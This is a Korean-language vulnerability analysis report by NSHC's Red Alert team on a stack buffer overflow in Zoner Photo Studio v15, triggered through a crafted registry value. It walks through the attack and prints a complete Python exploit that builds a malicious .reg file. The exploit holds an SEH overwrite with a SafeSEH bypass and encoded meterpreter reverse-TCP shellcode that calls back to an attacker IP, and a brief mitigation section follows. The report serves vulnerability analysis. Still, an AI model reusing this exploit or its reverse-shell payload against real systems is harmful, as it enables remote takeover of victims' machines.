NSHC 2013. 01. 14. 취약점분석보고서 Information Service about a new vulnerability Version 1.0 [ ] 2012 Red Alert. All Rights Reserved.
목차 1. 개요... 3 2. 공격... 4 3. 분석... 8 4. 결론... 12 5. 대응방안... 12 6. 참고자료... 13 facebook.com/nshc.redalert 2012 Red Alert. All Rights Reserved. 1
Confidentiality Agreements 본문서는 Red Alert 팀에서제작한분석보고서로써, RedAlert 팀허가없이배포및공유가가능하나수정은금합니다. 분석보고서는 Red Alert 팀에서운영하는 Facebook 페이지 (https://www.facebook.com/nshc.redalert) 에서확인할수있습니다. Facebook 에등록되는분석보고서를포함한이외의자료들은유료페이지인 isac 페이지 (https://isac.nshc.net) 에서제공받으실수있습니다. facebook.com/nshc.redalert 2012 Red Alert. All Rights Reserved. 2
1. 개요.12 년 11 월 9 일에발표된 Zoner 사의 Photo Studio 에관한취약점분석보고서입니다. 특정레 지스터의값을변조하여 Buffer Overflow 를발생되도록합니다. Photo Studio 는프로그램이처음로드할때오류를저장하는레지스터를참조하며이과정에 서데이터의검증과정을거치지않아발생하는 Stack 기반의 Buffer Overflow 취약점입니다. 취약점이름 Zoner Photo Studio v15 Build 3 (Zps.exe) Registry Value Parsing Exploit 최초발표일 2012년 11월 09일 문서작성일 2013년 1월 14일 Version Build 2, Build 3 상태 패치됨 Vender Zoner Author Julien Ahrens 공격범위 local 공격유형 Stack Buffer Overflow 표 1. 취약점정보 Photo Studio 프로그램자체의취약점으로 Sound Editor Pro 가사용될수있는모든 Window 가대상이됩니다.. Microsoft Windows 2000 Microsoft Windows XP Microsoft Windows 2003 Microsoft Windows Vista Microsoft Windows 7 Microsoft Windows 2008 표 2. 대상시스템 facebook.com/nshc.redalert 2012 Red Alert. All Rights Reserved. 3
2. 공격 가. 공격자의컴퓨터에서 4444 포트를열고대기합니다. 나. 취약한레지스터의값을공격코드가들어있는레지스터값으로교체합니다. 다. 피해자의컴퓨터에서 Photo Studio를실행합니다. 라. 공격자컴퓨터에피해자컴퓨터의 Sehll이뜨는지확인합니다. Photo Studio 는이미지파일을수정하는프로그램입니다.. 그림 1. 대상프로그램 facebook.com/nshc.redalert 2012 Red Alert. All Rights Reserved. 4
가. 공격자컴퓨터에서 4444 포트를열고대기합니다. 그림 2. 공격자컴퓨터에서대기 나. 취약한레지스터의값을공격코드가들어있는레지스터값으로교체합니다. 그림 3. 공격코드레지스터값삽입 facebook.com/nshc.redalert 2012 Red Alert. All Rights Reserved. 5
다. 피해자의컴퓨터에서 Photo Studio 를실행합니다. 그림 4. 공격웹페이지로접근 공격코드로인해프로그램이실행되기전에 Crash 가뜨므로실제로는켜지지않습니다. facebook.com/nshc.redalert 2012 Red Alert. All Rights Reserved. 6
라. 공격자컴퓨터에피해자컴퓨터의 Sehll 이뜨는지확인합니다. 그림 5. 공격성공화면 facebook.com/nshc.redalert 2012 Red Alert. All Rights Reserved. 7
3. 분석 위프로그램을공격하기위해 Stack Buffer Overflow, Seh변조, ROP가사용되었습니다. Buffer Overflow의방법중 Stack Buffer Overflow는정상버퍼크기이상의문자열이입력되었을경우정상버퍼를넘어선다른영역을침범하여 Crash를발생시킬수있으며 Crash로인해 exploit을시도할수있습니다. Window 에서에러를제어하기위한 Seh 를악용하여공격자가심어둔 Shellcode 로이동하여 Shellcode 를실행할수있습니다. #!/usr/bin/python from struct import pack file="poc.reg" junk1="\xcc" * 2136 nseh="\xeb\x06\x90\x90" seh=pack('<l',0x0cfad713) # JMP DWORD PTR SS:[EBP-18] - Access: (PAGE_READWRITE) [SafeSEH Bypass] nops="\x90" * 10 junk2="\xcc" * 1000 # msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.196.134 R msfencode -b '\x00\x0a\x0d\x22\x93' #[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1) Sehllcode = ("\xda\xd7\xbb\x4c\xba\x94\xfc\xd9\x74\x24\xf4\x58\x33\xc9" + "\xb1\x49\x83\xc0\x04\x31\x58\x15\x03\x58\x15\xae\x4f\x68" + "\x14\xa7\xb0\x91\xe5\xd7\x39\x74\xd4\xc5\x5e\xfc\x45\xd9" + "\x15\x50\x66\x92\x78\x41\xfd\xd6\x54\x66\xb6\x5c\x83\x49" + "\x47\x51\x0b\x05\x8b\xf0\xf7\x54\xd8\xd2\xc6\x96\x2d\x13" + "\x0e\xca\xde\x41\xc7\x80\x4d\x75\x6c\xd4\x4d\x74\xa2\x52" + "\xed\x0e\xc7\xa5\x9a\xa4\xc6\xf5\x33\xb3\x81\xed\x38\x9b" + "\x31\x0f\xec\xf8\x0e\x46\x99\xca\xe5\x59\x4b\x03\x05\x68" + "\xb3\xcf\x38\x44\x3e\x0e\x7c\x63\xa1\x65\x76\x97\x5c\x7d" + "\x4d\xe5\xba\x08\x50\x4d\x48\xaa\xb0\x6f\x9d\x2c\x32\x63" + "\x6a\x3b\x1c\x60\x6d\xe8\x16\x9c\xe6\x0f\xf9\x14\xbc\x2b" + "\xdd\x7d\x66\x52\x44\xd8\xc9\x6b\x96\x84\xb6\xc9\xdc\x27" + "\xa2\x6b\xbf\x2f\x07\x41\x40\xb0\x0f\xd2\x33\x82\x90\x48" + "\xdc\xae\x59\x56\x1b\xd0\x73\x2e\xb3\x2f\x7c\x4e\x9d\xeb" + "\x28\x1e\xb5\xda\x50\xf5\x45\xe2\x84\x59\x16\x4c\x77\x19" + "\xc6\x2c\x27\xf1\x0c\xa3\x18\xe1\x2e\x69\x31\x8b\xd5\xfa" + "\xfe\xe3\x12\x7c\x96\xf1\x9a\x90\x3b\x7c\x7c\xf8\xd3\x28" + "\xd6\x95\x4a\x71\xac\x04\x92\xac\xc8\x07\x18\x42\x2c\xc9" + "\xe9\x2f\x3e\xbe\x19\x7a\x1c\x69\x25\x51\x0b\x96\xb3\x5d" + "\x9a\xc1\x2b\x5f\xfb\x26\xf4\xa0\x2e\x3d\x3d\x34\x91\x2a" + "\x42\xd8\x11\xab\x14\xb2\x11\xc3\xc0\xe6\x41\xf6\x0e\x33" + "\xf6\xab\x9a\xbb\xaf\x18\x0c\xd3\x4d\x46\x7a\x7c\xad\xad" + "\x7a\x41\x78\x88\xf8\xb3\x0e\xf8\xc0") facebook.com/nshc.redalert 2012 Red Alert. All Rights Reserved. 8
poc="windows Registry Editor Version 5.00\n\n" poc=poc + "[HKEY_CURRENT_USER\Software\ZONER\Zoner Photo Studio 15\Preferences\Certificate]\n" poc=poc + "\"Issuer\"=\"" + junk1 + nseh + seh + nops + Sehllcode + junk2 + "\"" try: print "[*] Creating exploit file...\n"; writefile = open (file, "w") writefile.write( poc ) writefile.close() print "[*] File successfully created!"; except: print "[!] Error while creating file!"; 표 3. 공격코드 Seh와 Nseh를덮어씌기위한 junk값 2136개를삽입합니다. Nseh에는 jmp 6코드를삽입하여 Seh 다음에있는 Nop으로이동하도록합니다. Seh는예외처리문을넘어가기위한 pop pop ret 주소를삽입합니다. Nop이작동후 Sehllcode로넘어갈것입니다. Photo studio의 Bad char인 \x00\x0a\x0d\x22\x93을뺀공격자컴퓨터로접근하게되는 reverse Shellcode입니다.. poc.reg 가실행되면취약레지스터값으로바로삽입되도록레지스터파일형식을맞춰주며 payload 는 junk 값을채워준후 Nseh, Seh, nops, Sehllcode, junk 값이들어갑니다.. 위값을파일에삽입하는과정이며파일이제대로생성되지않거나입력이이루어지지않을경우오류 문자열을출력하게됩니다.. facebook.com/nshc.redalert 2012 Red Alert. All Rights Reserved. 9
가. Seh 변조 그림 6. Seh 변조 Seh 가 JMP 주소로잘수정된것을볼수있습니다. 나. Nseh 실행 그림 7. Nseh 실행 Nseh 즉, jmp 6 으로인해 NOP 으로넘어갈것입니다. facebook.com/nshc.redalert 2012 Red Alert. All Rights Reserved. 10
다. Nop 실행 그림 8. 디버깅을위한 logcat 실행 Nseh 즉, jmp 6 으로인해 NOP 으로넘어와 NOP 이실행됩니다. 라. Sehllcode 실행 그림 9. Sehllcode 실행 Sehllcode 가작동되며공격자컴퓨터에피해자컴퓨터의제어권이넘어가게됩니다. facebook.com/nshc.redalert 2012 Red Alert. All Rights Reserved. 11
4. 결론 위취약점은 Photo Studio 는프로그램이처음로드할때오류를저장하는레지스터를참조하며 이과정에서데이터의검증과정을거치지않아버퍼이상의레지스터값을삽입하여 Buffer Overflow 를발생시켜공격자가원하는 Sehllcode 를작동되게합니다. 5. 대응방안 위취약점은레지스터값에대한길이를검증하지않아발생하는문제이므로레지스터의값에대 한검증부분을추가하여야될것입니다. facebook.com/nshc.redalert 2012 Red Alert. All Rights Reserved. 12
6. 참고자료 [1] 취약점본문 http://www.exploit-db.com/exploits/22652/ facebook.com/nshc.redalert 2012 Red Alert. All Rights Reserved. 13